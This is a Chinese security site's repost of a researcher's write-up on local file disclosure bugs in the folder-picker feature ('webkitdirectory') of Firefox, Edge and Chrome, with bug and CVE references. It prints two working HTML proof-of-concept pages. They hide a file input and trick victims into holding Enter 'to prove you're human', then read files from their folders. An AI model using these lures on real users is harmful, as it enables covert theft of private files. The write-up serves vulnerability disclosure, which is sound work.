安全路透社
当前位置:安全路透社 > 安全客 > 正文

【技术分享】针对跨浏览器的本地文件泄露漏洞的分析

http://p3.qhimg.com/t011ce5624b2fde5fe2.jpg


前言


你知道吗?你可以轻松把普通的文件选择器变成文件夹选择器,为此,只需将属性“webkitdirectory”添加到type ='file'的给定输入元素中就行了。

当然,与文件夹选择器不同的是,您最终会加载给定文件夹中的所有文件。这是一个明显的漏洞,机不可失,一阵忙活之后,我最终在三种主流浏览器中找到了一些相关的安全漏洞。

下面,我会针对不同的浏览器分别进行介绍。


火狐浏览器


我已经提交了三个与Mozilla的webkitdirectory功能有关的安全漏洞。幸运的是,文件夹选择器仅在Mozilla的Nightly版本的浏览器中提供了相应的实现,这个版本是在稳定版本发布之前用来测试新功能的。

Bug 1295914——webkitdirectory可以用来引诱用户允许访问任意文件夹(SEC-MEDIUM)

我报告的文件夹选择器方面的第一个安全漏洞与不良语义有关。这个安全漏洞是受到了Google Chrome中修复的一个漏洞的启发而找到的,这种漏洞可用来欺骗毫无戒心的用户。

Bug 1319370(CVE-2017-5414)webkitdirectory——操作系统用户名泄露(SEC-MEDIUM)

我认为第二个漏洞是泄露本地文件的关键所在。这里的问题在于,当文件选择器被打开一次后,那么第二次打开它时,它会“降级”文件夹。

所以我制作了一个PoC,其效果为:如果我们诱骗受害者按住“Enter”键,同时弹出一个文件夹,就能导致用户在不知情的情况下“挑选”某些文件夹。

为了获取操作系统用户名,受害者需要按住用于两个文件夹对话框的确认按钮,因为(在Windows上)默认目录是'C:\ Users \ {username} \ Desktp \'。

这是利用这个漏洞时所依赖的主要用户互动,这主要是受到了一个较旧的Mozilla漏洞的启发。另一种方式是欺骗用户反复按下某个位置并弹出文件夹,这样的话“confirm pick”按钮将被自动按下。

Bug 1338637——任意输入本地文件[webkitdirectory](SEC-MEDIUM)

我发现,如果在用户按下“Enter”键时弹出一个文件夹的话,那么我们可以欺骗受害者,使我们可以访问默认目录中的所有文件。当然,这种方式还是有一些局限性的,因为在Windows操作系统上,似乎只有“我的文档”文件夹受此影响。

如果它是一个"我的文档"之外的文件夹,如“桌面”(默认),则不会加载任何东西。但是,在其他操作系统上,情况就不同了。

幸运的是,我们前面说过有一个漏洞,其中文件夹将在文件夹选择器使用后“降级”,所以这里可以利用这一点。

以下是原始的PoC。请注意,单凭第一个安全漏洞是远远不够的,只有在组合第二个和第三个安全漏洞之后,才最终得到了一个PoC。

<html>
<head>
</head>
<body>
<style>
#q{
opacity:0.0;
}
</style>
<b>Hold down enter for 5 seconds to prove you're human</b>
<input type=file id=q webkitdirectory='true'><br>
<textarea id="qtxt" style="height:300px;">Things grabbed:</textarea>
<script>
var i=25;
document.onkeypress=function(e){if(q.value.length>0){qtxt.value+=(q.value+'\n');}
if(q.value=='Documents'){
window.i=1000;
}
if(e.key==='Enter'){
window.i--;
if(window.i<3){
q.click();
}
}
};
q.onchange=function(){
if(window.i>10){
document.body.innerHTML=('I can read '+q.files.length+' files from Documents folder');
}
}
</script>
</body>
</html>

微软Edge浏览器


我在Edge中发现了一个类似的安全漏洞,不同之处在于默认目录是“我的文档”,所以我在报告中指出,文件夹选择器可以用来接收受害者文档文件夹中的所有文件。

这个漏洞目前已经被修复了。

原始PoC: 

<html>
<head>
    <title>
Read all files on PC - PoC - By @qab
    </title>
    <style>
        #thing {
            opacity: 0.0;
        }
    </style>
</head>
<body>
    <h3 id="qmsg">Hold down the ENTER key for 5 seconds to prove you're human..</h3>
    <input id="thing" type="file" webkitdirectory mozdirectory accept="text/*" />
    <script>
  var r = new FileReader();
        thing.onchange = function() {
            alert('I can read ' + this.files.length + ' files from anywhere on your pc!');//This is for PoC only. We can access all data using this.files as seen next.
r.onload=function(){
alert(r.result);
};
r.readAsText(thing.files[0]);
        };
        //This is where we detect if the user is holding the Enter button.
        var i = 0;
        document.onkeydown = function() {
            i++;
            if (i > 4) {
                thing.click();
                i = -10000;
                document.onkeydown = null;
                setTimeout(function() {
                    qmsg.innerHTML = '<u>Thank you! Please wait while we verify (this might take a few minutes).</u>';
                }, 1000);
            };
        };
    </script>
</body>
</html>


谷歌浏览器


在这些漏洞方面,谷歌是第一家与我接洽的供应商。最初收到的评级为SEC-MEDIUM,后来更改为SEC-LOW,然后就石沉大海了。事实证明,如果有人尝试大规模使用这种类型的漏洞的话,Chrome就能检测到这种类型的漏洞,因为浏览器会自身提供了相应的安全记录。

截至目前为止,我虽然没有完全搞明白,但我相信他们的意思是,他们可以检测和阻止任何恶意网站,如果相应文件夹上传器的使用率陡升的话。在2007年4月13日向微软提交PoC报告时,该PoC仍然在Chrome上有效。

最糟糕的是,如果文件夹选择器默认为'C:\',您就能够读取整个磁盘——因为文件夹选择器会上传所有子目录中的全部文件。


参考文献


Arbitrary local files disclosure in input[webkitdirectory] bug report: https://bugzilla.mozilla.org/show_bug.cgi?id=1338637 

(CVE-2017-5414) webkitdirectory – OS username disclosurehttps://bugzilla.mozilla.org/show_bug.cgi?id=1319370 

webkitdirectory could be used to trick users into allowing access to arbitrary foldershttps://bugzilla.mozilla.org/show_bug.cgi?id=1295914 

(CVE-2016-7239) Microsoft Edge Information Disclosure Vulnerabilityhttps://technet.microsoft.com/library/security/mt674627.aspx 

Google bug reporthttps://bugs.chromium.org/p/chromium/issues/detail?id=637098 


原文链接:http://leucosite.com/Chrome-Firefox-Edge-Local-File-Disclosure/

未经允许不得转载:安全路透社 » 【技术分享】针对跨浏览器的本地文件泄露漏洞的分析

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册